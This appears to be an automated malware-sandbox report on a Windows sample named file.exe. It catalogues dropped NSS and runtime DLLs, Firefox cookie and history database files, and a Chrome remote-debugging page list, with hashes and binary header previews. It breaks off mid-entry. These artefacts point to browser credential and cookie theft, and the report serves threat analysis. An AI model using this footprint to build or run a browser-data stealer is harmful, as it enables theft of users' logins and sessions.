SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: X9d3758tok.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KMfWqiiMu0.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hwWxZRwpeL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KTvTgKJSyw.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.378727162390738
Encrypted:	false
SSDEEP:	48:SfNaoQhr7TEQh9fNaoQy3TQy+fNaoQpQjfNaoQ+LNU0UrU0U8Q+g:6NnQhTEQjNnQSTQ/NnQpQbNnQ+Le0Ur0
MD5:	42A0C886677FDB1E26ECC7FCA8247A5D
SHA1:	93FD2AE6D9019C4CCC43E9160A48DEBFE4091172
SHA-256:	84D99A61DFC2815642F287172104609F8CD851D1C60CBC48E3FD9207569CDCA6
SHA-512:	6641481EDF7DB0E4B8D76D87C213397FC9ACB37BC17FF3470AEA300B86BED5234B976205DFB7985E716F258FC76C7BC43D27B031A36515256F596F55742742CC
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7A68BABEEF20327CF471B888EBFAC256",.. "id": "7A68BABEEF20327CF471B888EBFAC256",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7A68BABEEF20327CF471B888EBFAC256"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/38CC021856C13C21998C995C3DF50050",.. "id": "38CC021856C13C21998C995C3DF50050",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/38CC021856C13C21998C995C3DF50050"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5166)
Category:	downloaded
Size (bytes):	5171
Entropy (8bit):	5.799597558598798
Encrypted:	false
SSDEEP:	96:uV6Pli7uRqRwHgpzH7l3+vbM5WrKO2enJgfHXEjcI+x6ZhEuPtl8RzbfffffX:uEtvpglRuvbM5WrzJ43vdEeRzj
MD5:	DA73223CB674131E66CC3C06358ECDF5
SHA1:	70CAACE4D0244CB2D9E0E2A61495265A123D8462
SHA-256:	156881016916BAE358F2015E150A9B20A23B345D7D00828EF300B63E016B63FD
SHA-512:	0E2470F0AB778DD5CC38DC2D866483B54EA3F7A5FBE7322588E1E84DA08F9225A7CA39397F44217651EF4E615C10762F856486F5D472C52272826E71441781C1
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["black ops liberty falls easter egg","pepsico layoffs chicago","nascar race","northern lights aurora forecast","spooky chess decks","nvidia stock","chicago blackhawks","diwali festival"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wam5sbRIPSWNlIGhvY2tleSB0ZWFtMuYYZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUE0Q0FNQUFBQjZ4ZzVBQUFBQnZGQk1WRVgvLy84QUFBRFJpZ0RYamdEVWpBRGFrQUQvWFFELzJnRC8xZ0RPaUFBQWYwRGR0UUN3ZEFELzJBRFJqUUJ2V3dEdnhBQnZTUURJaEFEVXJnRGp1Z0NRWHdCT1FBRHM3T3k1ZWdDbmlRQWhHd0JsVXdDcWNBQjZaQUJoUUFESXBBQ2RnUUNTa3BKZlgxK0VoSVRTMHRLMGxBQ0ViQUFoQUFBbkR3UjlVQUJVTndBb0lRQlVSUUF2SndEL3I1QS9OQUQvZzFELzcrYXZranIvMXNYL2FCc0FSeVAvdDVxK3Y4RE5BQmJQQUN3QUxoc0FBQXR3Y0hBdExTMUFRRURmMzkrcHFha3FBQUFxTWprMUdRQXpJZ0FBRUJzV0VnQldIUUlBUWhRQWgwQUF

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133996
Entropy (8bit):	5.43515475030634
Encrypted:	false
SSDEEP:	1536:g7CkPDNTg14TPinWZ12CAkxmSlQWE8waaeeDF47j9Rz1ixqxUDgRiKvD+RVH2Unp:2P+1CAV/WEhFdF47j9RCqxc6+OUaKszQ
MD5:	3433255A0BEB4F1A6F0EF2F1014A5A1B
SHA1:	166E965E46BC7A514E9624B11ABD3349E539E1F9
SHA-256:	448B5CEAB0D5521CC74E9A33CBEF565CE4C4ADC813CE5444F7E86B29B6153A4F
SHA-512:	E5ED9DF0D3122B1492061B3E605EC8D91314B98D8FD07A68C8B164629798A51AEB302E3F9CD0C9FD052DA71B9670B4AF876E4B87E52D4EA025BAD17AF4E4700C
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
